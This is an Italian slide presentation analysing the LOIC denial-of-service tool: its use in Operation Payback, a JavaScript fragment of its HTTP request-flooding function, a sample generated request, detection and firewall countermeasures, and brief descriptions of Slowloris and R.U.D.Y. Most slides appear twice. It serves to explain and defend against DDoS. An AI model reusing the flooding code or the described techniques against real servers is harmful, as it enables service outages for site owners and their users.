LOIC:
Low Orbit Ion Cannon
Analisi e contromisure del Tool LOIC per attacchi DDoS
di Mattia Dal Ben
(info: mattia.dibi@libero.it)
Analisi e contromisure del Tool LOIC per attacchi DDoS
di Mattia Dal Ben
(info: mattia.dibi@libero.it)
LOIC: Low Orbit Ion Cannon
Chi
Utilizzato dal gruppo di hacktivisti e grey hat hacker Anonymous per
perpetrare attacchi DDoS nei confronti di molteplici siti.
Chi
Utilizzato dal gruppo di hacktivisti e grey hat hacker Anonymous per
perpetrare attacchi DDoS nei confronti di molteplici siti.
Quando
Operation Payback ( Dicembre 2010 ) fu utilizzato per DDoSare i siti di
•Mastercard
•Visa
•Postfinance (Banca Svizzera)
Dat•800 PC: necessari a DDoSare Mastercard
•1000 PC: per DDoSare Visa
•10 GB di dati al secondo: traffico generato Conseguenze
Problemi ad utilizzare carte di credito e server down per alcune ore.
Quando
Operation Payback ( Dicembre 2010 ) fu utilizzato per DDoSare i siti di
•Mastercard
•Visa
•Postfinance (Banca Svizzera) Dat
•800 PC: necessari a DDoSare Mastercard
•1000 PC: per DDoSare Visa
•10 GB di dati al secondo: traffico generato Conseguenze
Problemi ad utilizzare carte di credito e server down per alcune ore.
LOIC: Low Orbit Ion Cannon
Descrizione:
Il codice è interamente scritto in Javascript, facilmente utilizzabile da chiunque perché eseguito direttamente dal browser.
Gli hacktivisti postarono il sito su molteplici server e proseguirono quindi a pubblicizzarlo sui social network.
Gli utenti simpatizzanti del movimento Anonymous formarono quindi una botnet volontaria e, coordinati sempre attraverso si social network, eseguirono materialmente l’attacco.
Il codice effettua delle HTTP GET (10 al secondo) di un percorso immagine randomizzato verso il server vittima che genera
quindi un errore 404. La request prevede anche un campo id e msg dove viene scritta la dichiarazione di intenti dell'attacco.
Descrizione:
Il codice è interamente scritto in Javascript, facilmente utilizzabile da chiunque perché eseguito direttamente dal browser.
Gli hacktivisti postarono il sito su molteplici server e proseguirono quindi a pubblicizzarlo sui social network.
Gli utenti simpatizzanti del movimento Anonymous formarono quindi una botnet volontaria e, coordinati sempre attraverso si social network, eseguirono materialmente l’attacco.
Il codice effettua delle HTTP GET (10 al secondo) di un percorso immagine randomizzato verso il server vittima che genera
quindi un errore 404. La request prevede anche un campo id e msg dove viene scritta la dichiarazione di intenti dell'attacco.
LOIC: Low Orbit Ion Cannon
LOIC: Low Orbit Ion Cannon
LOIC: Low Orbit Ion Cannon
var shoot1 = function () {
var targetURL = $('#target').val();
var msg = $('#msg').val();
var shootID = Number(new Date());
var resource = document.createElement('img');
resource.setAttribute('src',targetURL+arrayValue(targ etURL,'target')+msg+'&ID='+Number(new Date()));
resource.setAttribute('onload','score_requested(
'+shootID+')');
resource.setAttribute('onabort','score_requested(
'+shootID+')');
resource.setAttribute('onerror','score_requested(
'+shootID+')'); resource.setAttribute('id',shootID);
$('#imgContainer').append(resource);
score_tail();
}
(JS-LOWC: HTTP request flooding) var shoot1 = function ()
{
var targetURL = $('#target').val();
var msg = $('#msg').val();
var shootID = Number(new Date());
var resource = document.createElement('img');
resource.setAttribute('src',targetURL+arrayValue(targ etURL,'target')+msg+'&ID='+Number(new Date()));
resource.setAttribute('onload','score_requested(
'+shootID+')');
resource.setAttribute('onabort','score_requested(
'+shootID+')');
resource.setAttribute('onerror','score_requested(
'+shootID+')'); resource.setAttribute('id',shootID);
$('#imgContainer').append(resource);
score_tail();
}
(JS-LOWC: HTTP request flooding)
LOIC: Low Orbit Ion Cannon
Pacchetti generat dal tool:
GET /app/?id=1292337572944&msg=BOOM%2520HEADSHOT!
HTTP/1.1
Host: http://www.site.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
0.8
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115
Connection: keep-alive Pacchetti generat dal tool:
GET /app/?id=1292337572944&msg=BOOM%2520HEADSHOT!
HTTP/1.1
Host: http://www.site.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
0.8
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115
Connection: keep-alive
LOIC: Low Orbit Ion Cannon
Contromisure:
Regole Firewall ben scritte. In rete si trovano regole ad hoc per i maggiori IDS presenti sul mercato (ad esempio
SNORT).
Tipicamente sfruttano il fatto che i campi id e msg sono presenti e quindi basta filtrare il traffico che richiede un grosso numero di connessioni al server avendo all’interno delle sue richieste i campi id e msg.
Altrimenti è sufficiente individuare gli improvvisi picchi di traffico generati dall’attacco stesso nelle sue prime fasi.
Si noti inoltre che il tool non maschera l’ip degli attaccanti rendendoli quindi facilmente rintracciabili e perseguibili.
Contromisure:
Regole Firewall ben scritte. In rete si trovano regole ad hoc per i maggiori IDS presenti sul mercato (ad esempio
SNORT).
Tipicamente sfruttano il fatto che i campi id e msg sono presenti e quindi basta filtrare il traffico che richiede un grosso numero di connessioni al server avendo all’interno delle sue richieste i campi id e msg.
Altrimenti è sufficiente individuare gli improvvisi picchi di traffico generati dall’attacco stesso nelle sue prime fasi.
Si noti inoltre che il tool non maschera l’ip degli attaccanti rendendoli quindi facilmente rintracciabili e perseguibili.
Tool simili a LOIC
Slowloris
Slowloris prova a mantenere le connessioni aperte ad un server web obiettivo e trattenerle aperte il più a lungo possibile. Fa questo, aprendo le connessioni al server web obiettivo e inviandogli richieste parziali. Periodicamente, invierà le successive intestazioni HTTP, aggiungendo ma mai completando la richiesta. I server attaccati terranno così le connessioni aperte, riempiendo il loro numero di connessioni disponibili, infine negando ulteriori tentativi di connessione dai client.
Slowloris
Slowloris prova a mantenere le connessioni aperte ad un server web obiettivo e trattenerle aperte il più a lungo possibile. Fa questo, aprendo le connessioni al server web obiettivo e inviandogli richieste parziali. Periodicamente, invierà le successive intestazioni HTTP, aggiungendo ma mai completando la richiesta. I server attaccati terranno così le connessioni aperte, riempiendo il loro numero di connessioni disponibili, infine negando ulteriori tentativi di connessione dai client.
R.U.D.Y. ( R-U-Dead-Yet ? )
Questo attacco ha come obiettivo le applicazioni web.
Questo tool le disabilita per mezzo dell'esaurimento delle possibili sessioni. RUDY sospende le sessioni utilizzando dei POST che non finiscono mai, inviando degli header che segnalano un contenuto arbitrariamente grande.
R.U.D.Y. ( R-U-Dead-Yet ? )
Questo attacco ha come obiettivo le applicazioni web.
Questo tool le disabilita per mezzo dell'esaurimento delle possibili sessioni. RUDY sospende le sessioni utilizzando dei POST che non finiscono mai, inviando degli header che segnalano un contenuto arbitrariamente grande.